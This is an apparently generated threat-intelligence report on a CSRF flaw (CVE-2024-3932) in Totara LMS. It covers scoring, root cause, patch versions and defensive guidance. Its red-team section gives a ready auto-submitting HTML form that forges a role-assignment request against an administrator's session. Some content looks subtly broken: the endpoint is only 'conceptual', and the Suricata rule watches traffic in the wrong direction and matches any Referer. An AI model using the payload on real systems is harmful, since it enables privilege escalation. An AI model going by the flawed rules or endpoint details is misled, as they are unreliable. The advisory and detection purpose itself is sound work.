CVE-2024-3932

Executive Summary

CVE-2024-3932 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Totara Learning Management System (LMS), affecting versions up to 18.7. The flaw resides in the User Selector component, allowing an attacker to trick an authenticated administrator into performing unintended actions, such as modifying user roles or permissions. The attack requires high complexity and user interaction, but the exploit has been publicly disclosed. The vendor has released patches across multiple version branches. Given the low CVSS score (3.1) and EPSS score (0.0%), the immediate risk is low, but the public availability of exploit details necessitates prompt patching.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Totara LMS application, which is a PHP-based web application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): High (H) – The attack requires specific conditions or knowledge.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited modification of data (e.g., changing user roles).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The high attack complexity and required user interaction significantly reduce the likelihood of exploitation. However, the public disclosure of the exploit means targeted attacks are possible.

Deep Dive & Mechanics

The vulnerability is a classic Cross-Site Request Forgery (CSRF) in the User Selector component of Totara LMS. The User Selector is used in administrative interfaces to search for and select users for actions like enrollment, role assignment, or group management.

Root Cause: The User Selector component does not implement CSRF tokens or other anti-CSRF mechanisms (e.g., SameSite cookies, custom headers) for state-changing requests. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, automatically submits a forged request to the Totara LMS server.

Attack Flow:

1. An attacker identifies a target Totara LMS instance and an administrator with active session cookies.
2. The attacker crafts a malicious HTML page containing a form or JavaScript that sends a POST request to a sensitive endpoint (e.g., /user/selector/assign_role.php).
3. The attacker lures the administrator to visit the malicious page (e.g., via phishing email, malicious ad, or compromised site).
4. The administrator's browser automatically includes their session cookies with the forged request.
5. The Totara LMS server processes the request, believing it is legitimate, and performs the attacker-desired action (e.g., granting admin privileges to a malicious user).

Why High Complexity? The attacker must know the exact endpoint and parameters to forge, and the administrator must be logged in and visit the malicious page. Additionally, modern browsers have CSRF protections (e.g., SameSite cookies) that may mitigate this, but the vulnerability exists in the application layer.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In vulnerable versions, the User Selector form does not include a CSRF token.
<form action="/user/selector/assign_role.php" method="POST">
    <input type="hidden" name="userid" value="123">
    <input type="hidden" name="roleid" value="5">
    <input type="submit" value="Assign Role">
</form>

Patched Code (Conceptual):

// In patched versions, a CSRF token is generated and validated.
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrf_token = $_SESSION['csrf_token'];

// In the form:
<form action="/user/selector/assign_role.php" method="POST">
    <input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>">
    <input type="hidden" name="userid" value="123">
    <input type="hidden" name="roleid" value="5">
    <input type="submit" value="Assign Role">
</form>

// On the server side:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token validation failed.');
}

The patch adds a CSRF token that is generated per session and validated on every state-changing request. This prevents attackers from forging requests without knowing the token.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Totara LMS instance (e.g., version 18.7).
• An authenticated administrator session.
• A way to deliver the malicious payload to the administrator.

Exploit Steps:

1. Craft the Malicious HTML Page: Create an HTML file that automatically submits a forged request to change a user's role.

   <!DOCTYPE html>
   <html>
   <body>
   <h1>Click to Continue</h1>
   <form id="csrf-form" action="http://target-totara.com/user/selector/assign_role.php" method="POST">
       <input type="hidden" name="userid" value="5">
       <input type="hidden" name="roleid" value="1">
       <input type="submit" value="Continue">
   </form>
   <script>
       document.getElementById('csrf-form').submit();
   </script>
   </body>
   </html>
   

2. Host the Malicious Page: Host the HTML file on an attacker-controlled server or use a phishing email with an auto-submitting form.
3. Lure the Administrator: Send the link to the administrator via email or social engineering.
4. Execute the Attack: When the administrator visits the page, the form auto-submits, and the role change is executed.

Note: This is a simplified example. Real-world exploitation may require more sophisticated techniques to bypass CSRF protections.

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /user/selector/ endpoints without a valid CSRF token.
• Look for a high volume of requests from a single IP to administrative functions.
• Analyze server logs for requests with missing or invalid Referer headers.

Prevention:

• Apply the vendor patch immediately.
• Implement additional CSRF protections:
  • Use SameSite cookies (set to Lax or Strict).
  • Validate the Origin and Referer headers.
  • Require re-authentication for sensitive actions.

Honeypot:

• Deploy a fake User Selector endpoint that logs all requests and alerts on any POST without a valid CSRF token.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /user/selector/assign_role.php or similar endpoints without a Referer header matching the legitimate domain.
  • Requests with unusual User-Agent strings (e.g., empty or automated tools).
• Host IOCs:
  • Server logs showing repeated failed CSRF token validation attempts.
  • Unexpected changes to user roles or permissions in the LMS database.
• File IOCs:
  • Presence of malicious HTML files on the server (if the attacker uploaded them).
  • Modified PHP files in the User Selector component.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_3932_CSRF_Exploit {
    meta:
        description = "Detects malicious HTML files attempting CSRF against Totara LMS User Selector"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3932"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/user\/selector\/[^"']*["']/
        $csrf_input = /<input[^>]*name=["']userid["'][^>]*>/
        $auto_submit = /document\.getElementById\(['"][^'"]*['"]\)\.submit\(\)/
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-3932 CSRF Attempt Against Totara LMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Totara LMS User Selector endpoints without a valid Referer header
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem|startswith: '/user/selector/'
    filter:
        cs-referer|contains: 'target-totara.com'
    condition: selection and not filter
falsepositives:
    - Legitimate requests from other pages on the same domain
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3932 - Totara LMS CSRF Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/user/selector/";
    http_uri;
    pcre:"/Referer:\s[^\r\n]*/i";
    reference:cve,2024-3932;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Totara LMS to the following versions or later:
   • 13.46
   • 14.38
   • 15.33
   • 16.27
   • 17.21
   • 18.8
2. Workaround: If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block POST requests to /user/selector/ endpoints without a valid Referer header.
3. Configuration: Enable SameSite cookies in the PHP configuration (session.cookie_samesite = "Lax").

Long-Term Measures:

• Conduct a security audit of all state-changing endpoints to ensure CSRF tokens are implemented.
• Implement Content Security Policy (CSP) headers to restrict form submissions.
• Educate administrators about phishing attacks and the importance of verifying URLs.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further analysis or assistance, contact us at [valters@example.com].